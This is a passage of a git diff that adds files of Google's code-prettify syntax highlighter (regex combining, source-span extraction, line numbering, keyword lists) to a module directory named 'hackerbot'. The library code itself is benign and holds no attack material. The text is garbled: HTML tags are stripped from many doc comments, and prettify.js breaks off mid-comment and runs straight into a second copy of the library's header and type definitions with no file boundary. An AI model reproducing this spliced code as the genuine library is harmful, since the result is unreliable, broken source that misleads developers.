+ } else if (c1 === 'u' || c1 === 'x') {
+ return parseInt(charsetPart.substring(2), 16);
+ } else {
+ return charsetPart.charCodeAt(1);
+ }
+ }
+
+ function encodeEscape(charCode) {
+ if (charCode < 0x20) {
+ return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
+ }
+ var ch = String.fromCharCode(charCode);
+ return (ch === '\\' || ch === '-' || ch === ']' || ch === '^')
+ ? "\\" + ch : ch;
+ }
+
+ function caseFoldCharset(charSet) {
+ var charsetParts = charSet.substring(1, charSet.length - 1).match(
+ new RegExp(
+ '\\\\u[0-9A-Fa-f]{4}'
+ + '|\\\\x[0-9A-Fa-f]{2}'
+ + '|\\\\[0-3][0-7]{0,2}'
+ + '|\\\\[0-7]{1,2}'
+ + '|\\\\[\\s\\S]'
+ + '|-'
+ + '|[^-\\\\]',
+ 'g'));
+ var ranges = [];
+ var inverse = charsetParts[0] === '^';
+
+ var out = ['['];
+ if (inverse) { out.push('^'); }
+
+ for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
+ var p = charsetParts[i];
+ if (/\\[bdsw]/i.test(p)) { // Don't muck with named groups.
+ out.push(p);
+ } else {
+ var start = decodeEscape(p);
+ var end;
+ if (i + 2 < n && '-' === charsetParts[i + 1]) {
+ end = decodeEscape(charsetParts[i + 2]);
+ i += 2;
+ } else {
+ end = start;
+ }
+ ranges.push([start, end]);
+ // If the range might intersect letters, then expand it.
+ // This case handling is too simplistic.
+ // It does not deal with non-latin case folding.
+ // It works for latin source code identifiers though.
+ if (!(end < 65 || start > 122)) {
+ if (!(end < 65 || start > 90)) {
+ ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
+ }
+ if (!(end < 97 || start > 122)) {
+ ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
+ }
+ }
+ }
+ }
+
+ // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
+ // -> [[1, 12], [14, 14], [16, 17]]
+ ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1] - a[1]); });
+ var consolidatedRanges = [];
+ var lastRange = [];
+ for (var i = 0; i < ranges.length; ++i) {
+ var range = ranges[i];
+ if (range[0] <= lastRange[1] + 1) {
+ lastRange[1] = Math.max(lastRange[1], range[1]);
+ } else {
+ consolidatedRanges.push(lastRange = range);
+ }
+ }
+
+ for (var i = 0; i < consolidatedRanges.length; ++i) {
+ var range = consolidatedRanges[i];
+ out.push(encodeEscape(range[0]));
+ if (range[1] > range[0]) {
+ if (range[1] + 1 > range[0]) { out.push('-'); }
+ out.push(encodeEscape(range[1]));
+ }
+ }
+ out.push(']');
+ return out.join('');
+ }
+
+ function allowAnywhereFoldCaseAndRenumberGroups(regex) {
+ // Split into character sets, escape sequences, punctuation strings
+ // like ('(', '(?:', ')', '^'), and runs of characters that do not
+ // include any of the above.
+ var parts = regex.source.match(
+ new RegExp(
+ '(?:'
+ + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]' // a character set
+ + '|\\\\u[A-Fa-f0-9]{4}' // a unicode escape
+ + '|\\\\x[A-Fa-f0-9]{2}' // a hex escape
+ + '|\\\\[0-9]+' // a back-reference or octal escape
+ + '|\\\\[^ux0-9]' // other escape sequence
+ + '|\\(\\?[:!=]' // start of a non-capturing group
+ + '|[\\(\\)\\^]' // start/end of a group, or line start
+ + '|[^\\x5B\\x5C\\(\\)\\^]+' // run of other characters
+ + ')',
+ 'g'));
+ var n = parts.length;
+
+ // Maps captured group numbers to the number they will occupy in
+ // the output or to -1 if that has not been determined, or to
+ // undefined if they need not be capturing in the output.
+ var capturedGroups = [];
+
+ // Walk over and identify back references to build the capturedGroups
+ // mapping.
+ for (var i = 0, groupIndex = 0; i < n; ++i) {
+ var p = parts[i];
+ if (p === '(') {
+ // groups are 1-indexed, so max group index is count of '('
+ ++groupIndex;
+ } else if ('\\' === p.charAt(0)) {
+ var decimalValue = +p.substring(1);
+ if (decimalValue) {
+ if (decimalValue <= groupIndex) {
+ capturedGroups[decimalValue] = -1;
+ } else {
+ // Replace with an unambiguous escape sequence so that
+ // an octal escape sequence does not turn into a backreference
+ // to a capturing group from an earlier regex.
+ parts[i] = encodeEscape(decimalValue);
+ }
+ }
+ }
+ }
+
+ // Renumber groups and reduce capturing groups to non-capturing groups
+ // where possible.
+ for (var i = 1; i < capturedGroups.length; ++i) {
+ if (-1 === capturedGroups[i]) {
+ capturedGroups[i] = ++capturedGroupIndex;
+ }
+ }
+ for (var i = 0, groupIndex = 0; i < n; ++i) {
+ var p = parts[i];
+ if (p === '(') {
+ ++groupIndex;
+ if (!capturedGroups[groupIndex]) {
+ parts[i] = '(?:';
+ }
+ } else if ('\\' === p.charAt(0)) {
+ var decimalValue = +p.substring(1);
+ if (decimalValue && decimalValue <= groupIndex) {
+ parts[i] = '\\' + capturedGroups[decimalValue];
+ }
+ }
+ }
+
+ // Remove any prefix anchors so that the output will match anywhere.
+ // ^^ really does mean an anchored match though.
+ for (var i = 0; i < n; ++i) {
+ if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
+ }
+
+ // Expand letters to groups to handle mixing of case-sensitive and
+ // case-insensitive patterns if necessary.
+ if (regex.ignoreCase && needToFoldCase) {
+ for (var i = 0; i < n; ++i) {
+ var p = parts[i];
+ var ch0 = p.charAt(0);
+ if (p.length >= 2 && ch0 === '[') {
+ parts[i] = caseFoldCharset(p);
+ } else if (ch0 !== '\\') {
+ // TODO: handle letters in numeric escapes.
+ parts[i] = p.replace(
+ /[a-zA-Z]/g,
+ function (ch) {
+ var cc = ch.charCodeAt(0);
+ return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
+ });
+ }
+ }
+ }
+
+ return parts.join('');
+ }
+
+ var rewritten = [];
+ for (var i = 0, n = regexs.length; i < n; ++i) {
+ var regex = regexs[i];
+ if (regex.global || regex.multiline) { throw new Error('' + regex); }
+ rewritten.push(
+ '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
+ }
+
+ return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/defs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/defs.js
new file mode 100644
index 000000000..18f3e4aab
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/defs.js
@@ -0,0 +1,55 @@
+/**
+ * @typedef {!Array.}
+ * Alternating indices and the decorations that should be inserted there.
+ * The indices are monotonically increasing.
+ */
+var DecorationsT;
+
+/**
+ * @typedef {!{
+ * sourceNode: !Element,
+ * pre: !(number|boolean),
+ * langExtension: ?string,
+ * numberLines: ?(number|boolean),
+ * sourceCode: ?string,
+ * spans: ?(Array.),
+ * basePos: ?number,
+ * decorations: ?DecorationsT
+ * }}
+ *
+ *
sourceNode
the element containing the source
+ *
sourceCode
source as plain text
+ *
pre
truthy if white-space in text nodes
+ * should be considered significant.
+ *
spans
alternating span start indices into source
+ * and the text node or element (e.g. {@code }) corresponding to that
+ * span.
+ *
decorations
an array of style classes preceded
+ * by the position at which they start in job.sourceCode in order
+ *
basePos
integer position of this.sourceCode in the larger chunk of
+ * source.
+ *
alternating span start indices into source
+ * and the text node or element (e.g. {@code }) corresponding to that
+ * span.
+ *
+ */
+var SourceSpansT;
+
+/** @define {boolean} */
+/* @ifndef RUN_PRETTIFY */
+var IN_GLOBAL_SCOPE = true;
+/* @endif */
+/* @ifdef RUN_PRETTIFY */
+var IN_GLOBAL_SCOPE = false;
+/* @endif */
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/externs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/externs.js
new file mode 100644
index 000000000..d962f53cd
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/externs.js
@@ -0,0 +1,65 @@
+/**
+ * @license
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+/**
+ *
+ * @fileoverview
+ * This file allows separate compilation of language handlers and the
+ * core library.
+ * @externs
+ */
+
+
+var PR = {};
+
+/**
+ * @param {function (Object)} handler
+ * @param {Array.} fileExtensions
+ */
+PR.registerLangHandler = function registerLangHandler(handler, fileExtensions) {};
+
+/**
+ * @param {Array} shortcutStylePatterns
+ * @param {Array} fallthroughStylePatterns
+ * @return {function (Object)}
+ */
+PR.createSimpleLexer = function createSimpleLexer(
+ shortcutStylePatterns, fallthroughStylePatterns) {};
+
+/**
+ * @param {Object} options a set of optional parameters.
+ * @return {function (Object)} a function that examines the source code
+ * in the input job and builds the decoration list.
+ */
+PR.sourceDecorator = function sourceDecorator(options) {};
+
+
+PR.PR_ATTRIB_NAME = 'atn';
+PR.PR_ATTRIB_VALUE = 'atv';
+PR.PR_COMMENT = 'com';
+PR.PR_DECLARATION = 'dec';
+PR.PR_KEYWORD = 'kwd';
+PR.PR_LITERAL = 'lit';
+PR.PR_NOCODE = 'nocode';
+PR.PR_PLAIN = 'pln';
+PR.PR_PUNCTUATION = 'pun';
+PR.PR_SOURCE = 'src';
+PR.PR_STRING = 'str';
+PR.PR_TAG = 'tag';
+PR.PR_TYPE = 'typ';
+
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/extractSourceSpans.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/extractSourceSpans.js
new file mode 100644
index 000000000..220ae0f21
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/extractSourceSpans.js
@@ -0,0 +1,90 @@
+/**
+ * Split markup into a string of source code and an array mapping ranges in
+ * that string to the text nodes in which they appear.
+ *
+ *
+ * where #1 is a reference to the {@code "print "} text node above, and so
+ * on for the other text nodes.
+ *
+ *
+ *
+ * The {@code} spans array is an array of pairs. Even elements are the start
+ * indices of substrings, and odd elements are the text nodes (or BR elements)
+ * that contain the text for those substrings.
+ * Substrings continue until the next index or the end of the source.
+ *
+ *
+ * @param {Node} node an HTML DOM subtree containing source-code.
+ * @param {boolean|number} isPreformatted truthy if white-space in
+ * text nodes should be considered significant.
+ * @return {SourceSpansT} source code and the nodes in which they occur.
+ */
+function extractSourceSpans(node, isPreformatted) {
+ var nocode = /(?:^|\s)nocode(?:\s|$)/;
+
+ var chunks = [];
+ var length = 0;
+ var spans = [];
+ var k = 0;
+
+ function walk(node) {
+ var type = node.nodeType;
+ if (type == 1) { // Element
+ if (nocode.test(node.className)) { return; }
+ for (var child = node.firstChild; child; child = child.nextSibling) {
+ walk(child);
+ }
+ var nodeName = node.nodeName.toLowerCase();
+ if ('br' === nodeName || 'li' === nodeName) {
+ chunks[k] = '\n';
+ spans[k << 1] = length++;
+ spans[(k++ << 1) | 1] = node;
+ }
+ } else if (type == 3 || type == 4) { // Text
+ var text = node.nodeValue;
+ if (text.length) {
+ if (!isPreformatted) {
+ text = text.replace(/[ \t\r\n]+/g, ' ');
+ } else {
+ text = text.replace(/\r\n?/g, '\n'); // Normalize newlines.
+ }
+ // TODO: handle tabs here?
+ chunks[k] = text;
+ spans[k << 1] = length;
+ length += text.length;
+ spans[(k++ << 1) | 1] = node;
+ }
+ }
+ }
+
+ walk(node);
+
+ return {
+ sourceCode: chunks.join('').replace(/\n$/, ''),
+ spans: spans
+ };
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/numberLines.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/numberLines.js
new file mode 100644
index 000000000..e7ee3a42d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/numberLines.js
@@ -0,0 +1,137 @@
+/**
+ * Given a DOM subtree, wraps it in a list, and puts each line into its own
+ * list item.
+ *
+ * @param {Node} node modified in place. Its content is pulled into an
+ * HTMLOListElement, and each line is moved into a separate list item.
+ * This requires cloning elements, so the input might not have unique
+ * IDs after numbering.
+ * @param {number|null|boolean} startLineNum
+ * If truthy, coerced to an integer which is the 1-indexed line number
+ * of the first line of code. The number of the first line will be
+ * attached to the list.
+ * @param {boolean} isPreformatted true iff white-space in text nodes should
+ * be treated as significant.
+ */
+function numberLines(node, startLineNum, isPreformatted) {
+ var nocode = /(?:^|\s)nocode(?:\s|$)/;
+ var lineBreak = /\r\n?|\n/;
+
+ var document = node.ownerDocument;
+
+ var li = document.createElement('li');
+ while (node.firstChild) {
+ li.appendChild(node.firstChild);
+ }
+ // An array of lines. We split below, so this is initialized to one
+ // un-split line.
+ var listItems = [li];
+
+ function walk(node) {
+ var type = node.nodeType;
+ if (type == 1 && !nocode.test(node.className)) { // Element
+ if ('br' === node.nodeName.toLowerCase()) {
+ breakAfter(node);
+ // Discard the since it is now flush against a .
+ if (node.parentNode) {
+ node.parentNode.removeChild(node);
+ }
+ } else {
+ for (var child = node.firstChild; child; child = child.nextSibling) {
+ walk(child);
+ }
+ }
+ } else if ((type == 3 || type == 4) && isPreformatted) { // Text
+ var text = node.nodeValue;
+ var match = text.match(lineBreak);
+ if (match) {
+ var firstLine = text.substring(0, match.index);
+ node.nodeValue = firstLine;
+ var tail = text.substring(match.index + match[0].length);
+ if (tail) {
+ var parent = node.parentNode;
+ parent.insertBefore(
+ document.createTextNode(tail), node.nextSibling);
+ }
+ breakAfter(node);
+ if (!firstLine) {
+ // Don't leave blank text nodes in the DOM.
+ node.parentNode.removeChild(node);
+ }
+ }
+ }
+ }
+
+ // Split a line after the given node.
+ function breakAfter(lineEndNode) {
+ // If there's nothing to the right, then we can skip ending the line
+ // here, and move root-wards since splitting just before an end-tag
+ // would require us to create a bunch of empty copies.
+ while (!lineEndNode.nextSibling) {
+ lineEndNode = lineEndNode.parentNode;
+ if (!lineEndNode) { return; }
+ }
+
+ function breakLeftOf(limit, copy) {
+ // Clone shallowly if this node needs to be on both sides of the break.
+ var rightSide = copy ? limit.cloneNode(false) : limit;
+ var parent = limit.parentNode;
+ if (parent) {
+ // We clone the parent chain.
+ // This helps us resurrect important styling elements that cross lines.
+ // E.g. in Foo Bar
+ // should be rewritten to
Foo
Bar
.
+ var parentClone = breakLeftOf(parent, 1);
+ // Move the clone and everything to the right of the original
+ // onto the cloned parent.
+ var next = limit.nextSibling;
+ parentClone.appendChild(rightSide);
+ for (var sibling = next; sibling; sibling = next) {
+ next = sibling.nextSibling;
+ parentClone.appendChild(sibling);
+ }
+ }
+ return rightSide;
+ }
+
+ var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);
+
+ // Walk the parent chain until we reach an unattached LI.
+ for (var parent;
+ // Check nodeType since IE invents document fragments.
+ (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {
+ copiedListItem = parent;
+ }
+ // Put it on the list of lines for later processing.
+ listItems.push(copiedListItem);
+ }
+
+ // Split lines while there are lines left to split.
+ for (var i = 0; // Number of lines that have been split so far.
+ i < listItems.length; // length updated by breakAfter calls.
+ ++i) {
+ walk(listItems[i]);
+ }
+
+ // Make sure numeric indices show correctly.
+ if (startLineNum === (startLineNum|0)) {
+ listItems[0].setAttribute('value', startLineNum);
+ }
+
+ var ol = document.createElement('ol');
+ ol.className = 'linenums';
+ var offset = Math.max(0, ((startLineNum - 1 /* zero index */)) | 0) || 0;
+ for (var i = 0, n = listItems.length; i < n; ++i) {
+ li = listItems[i];
+ // Stick a class on the LIs so that stylesheets can
+ // color odd/even rows, or any other row pattern that
+ // is co-prime with 10.
+ li.className = 'L' + ((i + offset) % 10);
+ if (!li.firstChild) {
+ li.appendChild(document.createTextNode('\xA0'));
+ }
+ ol.appendChild(li);
+ }
+
+ node.appendChild(ol);
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/prettify.js
new file mode 100644
index 000000000..d642139bf
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/prettify.js
@@ -0,0 +1,1086 @@
+/**
+ * @license
+ * Copyright (C) 2006 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * some functions for browser-side pretty printing of code contained in html.
+ *
+ *
+ * For a fairly comprehensive set of languages see the
+ * README
+ * file that came with this source. At a minimum, the lexer should work on a
+ * number of languages including C and friends, Java, Python, Bash, SQL, HTML,
+ * XML, CSS, Javascript, and Makefiles. It works passably on Ruby, PHP and Awk
+ * and a subset of Perl, but, because of commenting conventions, doesn't work on
+ * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class.
+ *
+ * Usage:
+ *
include this source file in an html page via
+ * {@code }
+ *
define style rules. See the example page for examples.
+ *
mark the {@code
} and {@code } tags in your source with
+ * {@code class=prettyprint.}
+ * You can also use the (html deprecated) {@code } tag, but the pretty
+ * printer needs to do more substantial DOM manipulations to support that, so
+ * some css styles may not be preserved.
+ *
+ * That's it. I wanted to keep the API as simple as possible, so there's no
+ * need to specify which language the code is in, but if you wish, you can add
+ * another class to the {@code
} or {@code } element to specify the
+ * language, as in {@code
}. Any class that
+ * starts with "lang-" followed by a file extension, specifies the file type.
+ * See the "lang-*.js" files in this directory for code that implements
+ * per-language file handlers.
+ *
+ * Change log:
+ * cbeust, 2006/08/22
+ *
+ * Java annotations (start with "@") are now captured as literals ("lit")
+ *
+ * @requires console
+ */
+
+// JSLint declarations
+/*global console, document, navigator, setTimeout, window, define */
+
+/* @ifndef RUN_PRETTIFY */
+/* @include defs.js */
+/* @endif */
+
+/**
+ * {@type !{
+ * 'createSimpleLexer': function (Array, Array): (function (JobT)),
+ * 'registerLangHandler': function (function (JobT), Array.),
+ * 'PR_ATTRIB_NAME': string,
+ * 'PR_ATTRIB_NAME': string,
+ * 'PR_ATTRIB_VALUE': string,
+ * 'PR_COMMENT': string,
+ * 'PR_DECLARATION': string,
+ * 'PR_KEYWORD': string,
+ * 'PR_LITERAL': string,
+ * 'PR_NOCODE': string,
+ * 'PR_PLAIN': string,
+ * 'PR_PUNCTUATION': string,
+ * 'PR_SOURCE': string,
+ * 'PR_STRING': string,
+ * 'PR_TAG': string,
+ * 'PR_TYPE': string,
+ * 'prettyPrintOne': function (string, string, number|boolean),
+ * 'prettyPrint': function (?function, ?(HTMLElement|HTMLDocument))
+ * }}
+ * @const
+ */
+var PR;
+
+/**
+ * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
+ * UI events.
+ * If set to {@code false}, {@code prettyPrint()} is synchronous.
+ */
+window['PR_SHOULD_USE_CONTINUATION'] = true;
+
+/**
+ * Pretty print a chunk of code.
+ * @param {string} sourceCodeHtml The HTML to pretty print.
+ * @param {string} opt_langExtension The language name to use.
+ * Typically, a filename extension like 'cpp' or 'java'.
+ * @param {number|boolean} opt_numberLines True to number lines,
+ * or the 1-indexed number of the first line in sourceCodeHtml.
+ * @return {string} code as html, but prettier
+ */
+var prettyPrintOne;
+/**
+ * Find all the {@code
} and {@code } tags in the DOM with
+ * {@code class=prettyprint} and prettify them.
+ *
+ * @param {Function} opt_whenDone called when prettifying is done.
+ * @param {HTMLElement|HTMLDocument} opt_root an element or document
+ * containing all the elements to pretty print.
+ * Defaults to {@code document.body}.
+ */
+var prettyPrint;
+
+
+(function () {
+ var win = window;
+ // Keyword lists for various languages.
+ // We use things that coerce to strings to make them compact when minified
+ // and to defeat aggressive optimizers that fold large string constants.
+ var FLOW_CONTROL_KEYWORDS = ["break,continue,do,else,for,if,return,while"];
+ var C_KEYWORDS = [FLOW_CONTROL_KEYWORDS,"auto,case,char,const,default," +
+ "double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed," +
+ "sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"];
+ var COMMON_KEYWORDS = [C_KEYWORDS,"catch,class,delete,false,import," +
+ "new,operator,private,protected,public,this,throw,true,try,typeof"];
+ var CPP_KEYWORDS = [COMMON_KEYWORDS,"alignas,alignof,align_union,asm,axiom,bool," +
+ "concept,concept_map,const_cast,constexpr,decltype,delegate," +
+ "dynamic_cast,explicit,export,friend,generic,late_check," +
+ "mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert," +
+ "static_cast,template,typeid,typename,using,virtual,where"];
+ var JAVA_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,assert,boolean,byte,extends,finally,final,implements,import," +
+ "instanceof,interface,null,native,package,strictfp,super,synchronized," +
+ "throws,transient"];
+ var CSHARP_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending," +
+ "dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface," +
+ "internal,into,is,join,let,lock,null,object,out,override,orderby,params," +
+ "partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong," +
+ "unchecked,unsafe,ushort,value,var,virtual,where,yield"];
+ var COFFEE_KEYWORDS = "all,and,by,catch,class,else,extends,false,finally," +
+ "for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then," +
+ "throw,true,try,unless,until,when,while,yes";
+ var JSCRIPT_KEYWORDS = [COMMON_KEYWORDS,
+ "abstract,async,await,constructor,debugger,enum,eval,export,function," +
+ "get,implements,instanceof,interface,let,null,set,undefined,var,with," +
+ "yield,Infinity,NaN"];
+ var PERL_KEYWORDS = "caller,delete,die,do,dump,elsif,eval,exit,foreach,for," +
+ "goto,if,import,last,local,my,next,no,our,print,package,redo,require," +
+ "sub,undef,unless,until,use,wantarray,while,BEGIN,END";
+ var PYTHON_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "and,as,assert,class,def,del," +
+ "elif,except,exec,finally,from,global,import,in,is,lambda," +
+ "nonlocal,not,or,pass,print,raise,try,with,yield," +
+ "False,True,None"];
+ var RUBY_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "alias,and,begin,case,class," +
+ "def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo," +
+ "rescue,retry,self,super,then,true,undef,unless,until,when,yield," +
+ "BEGIN,END"];
+ var SH_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "case,done,elif,esac,eval,fi," +
+ "function,in,local,set,then,until"];
+ var ALL_KEYWORDS = [
+ CPP_KEYWORDS, CSHARP_KEYWORDS, JAVA_KEYWORDS, JSCRIPT_KEYWORDS,
+ PERL_KEYWORDS, PYTHON_KEYWORDS, RUBY_KEYWORDS, SH_KEYWORDS];
+ var C_TYPES = /^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/;
+
+ // token style names. correspond to css classes
+ /**
+ * token style for a string literal
+ * @const
+ */
+ var PR_STRING = 'str';
+ /**
+ * token style for a keyword
+ * @const
+ */
+ var PR_KEYWORD = 'kwd';
+ /**
+ * token style for a comment
+ * @const
+ */
+ var PR_COMMENT = 'com';
+ /**
+ * token style for a type
+ * @const
+ */
+ var PR_TYPE = 'typ';
+ /**
+ * token style for a literal value. e.g. 1, null, true.
+ * @const
+ */
+ var PR_LITERAL = 'lit';
+ /**
+ * token style for a punctuation string.
+ * @const
+ */
+ var PR_PUNCTUATION = 'pun';
+ /**
+ * token style for plain text.
+ * @const
+ */
+ var PR_PLAIN = 'pln';
+
+ /**
+ * token style for an sgml tag.
+ * @const
+ */
+ var PR_TAG = 'tag';
+ /**
+ * token style for a markup declaration such as a DOCTYPE.
+ * @const
+ */
+ var PR_DECLARATION = 'dec';
+ /**
+ * token style for embedded source.
+ * @const
+ */
+ var PR_SOURCE = 'src';
+ /**
+ * token style for an sgml attribute name.
+ * @const
+ */
+ var PR_ATTRIB_NAME = 'atn';
+ /**
+ * token style for an sgml attribute value.
+ * @const
+ */
+ var PR_ATTRIB_VALUE = 'atv';
+
+ /**
+ * A class that indicates a section of markup that is not code, e.g. to allow
+ * embedding of line numbers within code listings.
+ * @const
+ */
+ var PR_NOCODE = 'nocode';
+
+ /* @include regexpPrecederPatterns.js */
+
+ /* @include combinePrefixPatterns.js */
+
+ /* @include extractSourceSpans.js */
+
+ /**
+ * Apply the given language handler to sourceCode and add the resulting
+ * decorations to out.
+ * @param {!Element} sourceNode
+ * @param {number} basePos the index of sourceCode within the chunk of source
+ * whose decorations are already present on out.
+ * @param {string} sourceCode
+ * @param {function(JobT)} langHandler
+ * @param {DecorationsT} out
+ */
+ function appendDecorations(
+ sourceNode, basePos, sourceCode, langHandler, out) {
+ if (!sourceCode) { return; }
+ /** @type {JobT} */
+ var job = {
+ sourceNode: sourceNode,
+ pre: 1,
+ langExtension: null,
+ numberLines: null,
+ sourceCode: sourceCode,
+ spans: null,
+ basePos: basePos,
+ decorations: null
+ };
+ langHandler(job);
+ out.push.apply(out, job.decorations);
+ }
+
+ var notWs = /\S/;
+
+ /**
+ * Given an element, if it contains only one child element and any text nodes
+ * it contains contain only space characters, return the sole child element.
+ * Otherwise returns undefined.
+ *
+ * This is meant to return the CODE element in {@code
} when
+ * there is a single child element that contains all the non-space textual
+ * content, but not to return anything where there are multiple child elements
+ * as in {@code
......
} or when there
+ * is textual content.
+ */
+ function childContentWrapper(element) {
+ var wrapper = undefined;
+ for (var c = element.firstChild; c; c = c.nextSibling) {
+ var type = c.nodeType;
+ wrapper = (type === 1) // Element Node
+ ? (wrapper ? element : c)
+ : (type === 3) // Text Node
+ ? (notWs.test(c.nodeValue) ? element : wrapper)
+ : wrapper;
+ }
+ return wrapper === element ? undefined : wrapper;
+ }
+
+ /** Given triples of [style, pattern, context] returns a lexing function,
+ * The lexing function interprets the patterns to find token boundaries and
+ * returns a decoration list of the form
+ * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
+ * where index_n is an index into the sourceCode, and style_n is a style
+ * constant like PR_PLAIN. index_n-1 <= index_n, and style_n-1 applies to
+ * all characters in sourceCode[index_n-1:index_n].
+ *
+ * The stylePatterns is a list whose elements have the form
+ * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
+ *
+ * Style is a style constant like PR_PLAIN, or can be a string of the
+ * form 'lang-FOO', where FOO is a language extension describing the
+ * language of the portion of the token in $1 after pattern executes.
+ * E.g., if style is 'lang-lisp', and group 1 contains the text
+ * '(hello (world))', then that portion of the token will be passed to the
+ * registered lisp handler for formatting.
+ * The text before and after group 1 will be restyled using this decorator
+ * so decorators should take care that this doesn't result in infinite
+ * recursion. For example, the HTML lexer rule for SCRIPT elements looks
+ * something like ['lang-js', /<[s]cript>(.+?)<\/script>/]. This may match
+ * '}
+ *
define style rules. See the example page for examples.
+ *
mark the {@code
} and {@code } tags in your source with
+ * {@code class=prettyprint.}
+ * You can also use the (html deprecated) {@code } tag, but the pretty
+ * printer needs to do more substantial DOM manipulations to support that, so
+ * some css styles may not be preserved.
+ *
+ * That's it. I wanted to keep the API as simple as possible, so there's no
+ * need to specify which language the code is in, but if you wish, you can add
+ * another class to the {@code
} or {@code } element to specify the
+ * language, as in {@code
}. Any class that
+ * starts with "lang-" followed by a file extension, specifies the file type.
+ * See the "lang-*.js" files in this directory for code that implements
+ * per-language file handlers.
+ *
+ * Change log:
+ * cbeust, 2006/08/22
+ *
+ * Java annotations (start with "@") are now captured as literals ("lit")
+ *
+ * @requires console
+ */
+
+// JSLint declarations
+/*global console, document, navigator, setTimeout, window, define */
+
+
+/**
+* @typedef {!Array.}
+* Alternating indices and the decorations that should be inserted there.
+* The indices are monotonically increasing.
+*/
+var DecorationsT;
+
+/**
+* @typedef {!{
+* sourceNode: !Element,
+* pre: !(number|boolean),
+* langExtension: ?string,
+* numberLines: ?(number|boolean),
+* sourceCode: ?string,
+* spans: ?(Array.),
+* basePos: ?number,
+* decorations: ?DecorationsT
+* }}
+*
+*
sourceNode
the element containing the source
+*
sourceCode
source as plain text
+*
pre
truthy if white-space in text nodes
+* should be considered significant.
+*
spans
alternating span start indices into source
+* and the text node or element (e.g. {@code }) corresponding to that
+* span.
+*
decorations
an array of style classes preceded
+* by the position at which they start in job.sourceCode in order
+*
basePos
integer position of this.sourceCode in the larger chunk of
+* source.
+*
alternating span start indices into source
+* and the text node or element (e.g. {@code }) corresponding to that
+* span.
+*
+*/
+var SourceSpansT;
+
+/** @define {boolean} */
+var IN_GLOBAL_SCOPE = false;
+
+var HACK_TO_FIX_JS_INCLUDE_PL;
+
+/**
+ * {@type !{
+ * 'createSimpleLexer': function (Array, Array): (function (JobT)),
+ * 'registerLangHandler': function (function (JobT), Array.),
+ * 'PR_ATTRIB_NAME': string,
+ * 'PR_ATTRIB_NAME': string,
+ * 'PR_ATTRIB_VALUE': string,
+ * 'PR_COMMENT': string,
+ * 'PR_DECLARATION': string,
+ * 'PR_KEYWORD': string,
+ * 'PR_LITERAL': string,
+ * 'PR_NOCODE': string,
+ * 'PR_PLAIN': string,
+ * 'PR_PUNCTUATION': string,
+ * 'PR_SOURCE': string,
